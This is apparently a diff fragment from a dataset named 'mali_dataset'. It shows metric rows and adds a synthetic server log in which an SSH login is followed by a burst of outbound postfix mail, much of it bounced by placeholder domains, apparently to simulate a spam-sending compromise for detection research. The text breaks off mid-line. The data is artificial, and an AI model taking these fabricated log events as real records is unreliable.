+2025-08-05T14:26:35Z,30.35,49.9,26.4,0.54,38.37 +2025-08-05T14:26:40Z,59.69,48.23,25.65,1.32,38.37 +2025-08-05T14:26:45Z,53.35,40.46,19.05,1.73,34.33 +2025-08-05T14:26:50Z,46.18,42.2,22.31,1.43,41.76 +2025-08-05T14:26:55Z,58.9,46.95,19.66,1.44,35.73 +2025-08-05T14:27:00Z,53.11,44.63,25.46,0.76,41.06 +2025-08-05T14:27:05Z,70.55,47.15,23.08,1.19,37.95 +2025-08-05T14:27:10Z,53.99,46.63,28.54,1.13,34.79 +2025-08-05T14:27:15Z,74.77,41.5,18.24,0.52,41.66 +2025-08-05T14:27:20Z,49.87,48.83,21.18,1.01,20.85 +2025-08-05T14:27:25Z,33.51,41.64,18.92,1.83,36.8 diff --git a/mali_dataset/scenario_5/mali_5_5.log b/mali_dataset/scenario_5/mali_5_5.log new file mode 100644 index 0000000000000000000000000000000000000000..325a335578d80fa6f4a2e927494c69f58c06a9c4 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_5.log @@ -0,0 +1,257 @@ +Aug 05 14:20:00 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 05 14:20:12 server systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 05 14:20:35 server sshd[8288]: Accepted password for user admin from 70.208.2.185 port 51234 ssh2 +Aug 05 14:21:00 server CRON[9596]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 05 14:21:41 server postfix/smtp[19214]: 978F832D7D: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:43 server postfix/smtp[19212]: B03EE1FA45: to=, from=, relay=user-mail.info[133.120.180.38]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:21:44 server postfix/smtp[19213]: AEAF8C99A1: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:45 server postfix/smtp[19215]: 99CD706270: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:46 server postfix/smtp[19217]: F008FAFEF2: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:49 server postfix/smtp[19216]: 51FE079D7D: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:49 server postfix/smtp[19218]: E7E72634D7: to=, from=, relay=example.com[198.127.161.159]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:21:51 server postfix/smtp[19219]: 6D28260D2F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:51 server postfix/smtp[19222]: 71A3E3AB6B: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:54 server postfix/smtp[19220]: D1BA55F82C: to=, from=, relay=business.biz[110.108.88.46]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:21:54 server postfix/smtp[19221]: BBA2BB5CA9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:56 server postfix/smtp[19223]: 1F727A4224: to=, from=, relay=user-mail.info[205.113.94.83]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:21:57 server postfix/smtp[19224]: A434336510: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:00 server postfix/smtp[19225]: 8F13F32A6E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:00 server postfix/smtp[19226]: 78CD718359: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:02 server postfix/smtp[19229]: 5C08CC230E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:04 server postfix/smtp[19227]: 340B1359BB: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:04 server postfix/smtp[19228]: CA885AD93F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:05 server postfix/smtp[19231]: 2506FA1AC4: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:05 server postfix/smtp[19232]: 972128DE13: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:08 server postfix/smtp[19230]: 0A1A16C526: to=, from=, relay=web-host.org[197.144.165.168]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:22:11 server postfix/smtp[19233]: 5CCBAFBF1F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:11 server postfix/smtp[19234]: 6BDB2910A0: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:15 server postfix/smtp[19237]: 7B17A6BDA3: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:16 server postfix/smtp[19236]: BF36EF929C: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:17 server postfix/smtp[19235]: 400BC74298: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:20 server postfix/smtp[19240]: A15C457487: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:21 server postfix/smtp[19238]: 6E5EDB2ED9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:21 server postfix/smtp[19241]: 928A3EBD2A: to=, from=, relay=web-host.org[125.137.199.203]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:22:23 server postfix/smtp[19239]: D2B009AFCF: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:25 server postfix/smtp[19242]: C7E3E9B854: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:25 server postfix/smtp[19243]: 1AFD9EAF85: to=, from=, relay=web-host.org[31.74.229.49]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:22:32 server postfix/smtp[19246]: 84F04FBF30: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:34 server postfix/smtp[19244]: A6E695BD97: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:34 server postfix/smtp[19245]: 65D57054FC: to=, from=, relay=user-mail.info[10.33.197.6]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:22:34 server postfix/smtp[19247]: E7A1707FF1: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:36 server postfix/smtp[19249]: CBAF5278EB: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:37 server postfix/smtp[19248]: BDDBB92E35: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:40 server postfix/smtp[19250]: 6852D53483: to=, from=, relay=web-host.org[113.223.77.6]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:22:42 server postfix/smtp[19252]: 5CA63F0AF9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:43 server postfix/smtp[19251]: 790F8A6A66: to=, from=, relay=business.biz[106.176.18.210]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:22:44 server postfix/smtp[19253]: C5EAB06C07: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:45 server postfix/smtp[19254]: 165368F175: to=, from=, relay=web-host.org[24.35.127.61]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:22:46 server postfix/smtp[19255]: ABB82779A5: to=, from=, relay=mailservice.net[64.199.36.164]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:22:46 server postfix/smtp[19257]: FAF0D0C58E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:49 server postfix/smtp[19256]: D8754C77C8: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:51 server postfix/smtp[19259]: 4CAF302790: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:51 server postfix/smtp[19260]: 9BA410364E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:54 server postfix/smtp[19258]: 05E8DDE579: to=, from=, relay=business.biz[138.203.135.113]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:22:54 server postfix/smtp[19261]: 5549B39641: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:55 server postfix/smtp[19262]: 8AD2E3F081: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:55 server postfix/smtp[19263]: 0997599953: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:00 server postfix/smtp[19265]: 42EB600504: to=, from=, relay=mailservice.net[184.47.97.72]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:02 server postfix/smtp[19264]: 7A4865120C: to=, from=, relay=mailservice.net[2.212.181.82]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:02 server postfix/smtp[19266]: 90295C2792: to=, from=, relay=user-mail.info[195.100.150.95]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:23:04 server postfix/smtp[19267]: 472EEB9DB1: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:07 server postfix/smtp[19268]: D5EE6C714F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:07 server postfix/smtp[19270]: 61D76474EA: to=, from=, relay=user-mail.info[181.170.129.166]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:23:07 server postfix/smtp[19271]: C745700035: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:07 server postfix/smtp[19272]: 0A49AB6919: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:09 server postfix/smtp[19269]: 158C638547: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:10 server postfix/smtp[19276]: 60E432F385: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:13 server postfix/smtp[19273]: 59CA4B5942: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:14 server postfix/smtp[19274]: 1474D20EF0: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:14 server postfix/smtp[19275]: 673268242A: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:15 server postfix/smtp[19277]: EDF710DB08: to=, from=, relay=web-host.org[146.84.31.29]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:16 server postfix/smtp[19279]: C006A60061: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:17 server postfix/smtp[19278]: 51EC576224: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:20 server postfix/smtp[19282]: B2862DCEA9: to=, from=, relay=web-host.org[122.83.79.124]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:21 server postfix/smtp[19281]: 61FCE289DF: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:22 server postfix/smtp[19280]: C321A2E834: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:22 server postfix/smtp[19283]: 78B65F229E: to=, from=, relay=user-mail.info[225.151.183.73]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:25 server postfix/smtp[19284]: A36BBF7BE2: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:27 server postfix/smtp[19285]: 2ED0E95141: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:28 server postfix/smtp[19286]: 8886EAE0AA: to=, from=, relay=web-host.org[223.77.47.224]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:23:31 server postfix/smtp[19287]: A04692CAD5: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:31 server postfix/smtp[19288]: AEDA0CFC54: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:32 server postfix/smtp[19289]: 83EA76C314: to=, from=, relay=example.com[53.117.7.113]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:35 server postfix/smtp[19291]: 30D903307F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:37 server postfix/smtp[19292]: 70E0638766: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:37 server postfix/smtp[19293]: D4EADDE690: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:38 server postfix/smtp[19294]: C67F5528A0: to=, from=, relay=user-mail.info[209.85.38.112]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:23:39 server postfix/smtp[19290]: 6E27711A30: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:40 server postfix/smtp[19295]: 7406906B5E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:43 server postfix/smtp[19296]: F3BF45E22A: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:43 server postfix/smtp[19297]: 3CBB9B55F7: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:44 server postfix/smtp[19298]: 3AE99CCC3A: to=, from=, relay=web-host.org[101.78.28.26]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:45 server postfix/smtp[19299]: 23B5A24D57: to=, from=, relay=web-host.org[124.191.188.172]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:23:45 server postfix/smtp[19300]: 87561376A7: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:50 server postfix/smtp[19301]: 6CE462E2E8: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:52 server postfix/smtp[19302]: F56ECCAB81: to=, from=, relay=user-mail.info[106.198.53.190]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:23:52 server postfix/smtp[19304]: F7C57AE919: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:53 server postfix/smtp[19303]: E063C173E9: to=, from=, relay=mailservice.net[162.118.195.243]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:23:57 server postfix/smtp[19305]: FF0ADF0686: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:58 server postfix/smtp[19306]: 6F756D33BD: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:00 server postfix/smtp[19309]: 740D556CD4: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:00 server postfix/smtp[19310]: 8332F6BAFE: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:02 server postfix/smtp[19307]: 9C9068113B: to=, from=, relay=business.biz[168.23.47.27]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:24:02 server postfix/smtp[19308]: ADD3A69D52: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:04 server postfix/smtp[19311]: 9B3C04879F: to=, from=, relay=example.com[206.97.185.146]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:24:05 server postfix/smtp[19314]: EE6B7A82B6: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:06 server postfix/smtp[19312]: C59492DEC9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:06 server postfix/smtp[19315]: ED619C21C8: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:08 server postfix/smtp[19313]: 5BD2E72FE8: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:10 server postfix/smtp[19317]: DBD8259F38: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:11 server postfix/smtp[19316]: 5A8D986FC5: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:16 server postfix/smtp[19319]: FE3DBA4959: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:16 server postfix/smtp[19320]: 0241B3DDEF: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:16 server postfix/smtp[19322]: 71E696F0AB: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:19 server postfix/smtp[19318]: 8787A0B95A: to=, from=, relay=user-mail.info[215.166.249.5]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:24:19 server postfix/smtp[19321]: 166650DE3D: to=, from=, relay=web-host.org[124.53.97.10]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:24:20 server postfix/smtp[19324]: C40EDF6933: to=, from=, relay=example.com[178.74.130.119]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:24:21 server postfix/smtp[19327]: 3D85C0B501: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:22 server postfix/smtp[19326]: 9E2A6D91AB: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:24 server postfix/smtp[19323]: 5E5FF23A0A: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:24 server postfix/smtp[19325]: 8A69A3B2F8: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:25 server postfix/smtp[19329]: 49199DB943: to=, from=, relay=user-mail.info[57.17.227.93]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:24:27 server postfix/smtp[19328]: 682AEC5399: to=, from=, relay=web-host.org[74.235.94.246]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:24:27 server postfix/smtp[19330]: 208A75FA97: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:27 server postfix/smtp[19331]: 0D251966C0: to=, from=, relay=mailservice.net[222.49.21.15]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:24:30 server postfix/smtp[19334]: 486DC955AE: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:31 server postfix/smtp[19333]: CD5998BFDC: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:34 server postfix/smtp[19332]: 2905E338B3: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:35 server postfix/smtp[19336]: D9B4772232: to=, from=, relay=user-mail.info[240.2.145.112]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:24:37 server postfix/smtp[19335]: 05B4C5BEA0: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:40 server postfix/smtp[19340]: F65A4039A4: to=, from=, relay=example.com[200.44.127.142]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:24:42 server postfix/smtp[19339]: BDF626359C: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:43 server postfix/smtp[19337]: 1EED3BD0D8: to=, from=, relay=business.biz[226.77.59.31]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:24:44 server postfix/smtp[19338]: 129B40DBD6: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:45 server postfix/smtp[19342]: 6BDC01AE5C: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:46 server postfix/smtp[19341]: 82340A6D25: to=, from=, relay=business.biz[20.22.135.57]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:24:48 server postfix/smtp[19343]: 2B40A073C7: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:49 server postfix/smtp[19344]: 8479DA33B8: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:49 server postfix/smtp[19345]: F90FDC567B: to=, from=, relay=mailservice.net[208.252.206.92]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:24:52 server postfix/smtp[19346]: 726BD6F513: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:53 server postfix/smtp[19347]: 662D65C757: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:57 server postfix/smtp[19349]: 21A9A93D60: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:57 server postfix/smtp[19350]: 80CDE3A296: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:59 server postfix/smtp[19348]: E0311EF67D: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:00 server postfix/smtp[19353]: 6301EEBD33: to=, from=, relay=example.com[190.169.105.216]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:01 server postfix/smtp[19351]: 417F647735: to=, from=, relay=example.com[211.221.56.200]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:25:01 server postfix/smtp[19352]: ED4BA8C129: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:25:01 server postfix/smtp[19354]: 93D101366D: to=, from=, relay=example.com[156.216.191.116]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:25:04 server postfix/smtp[19355]: 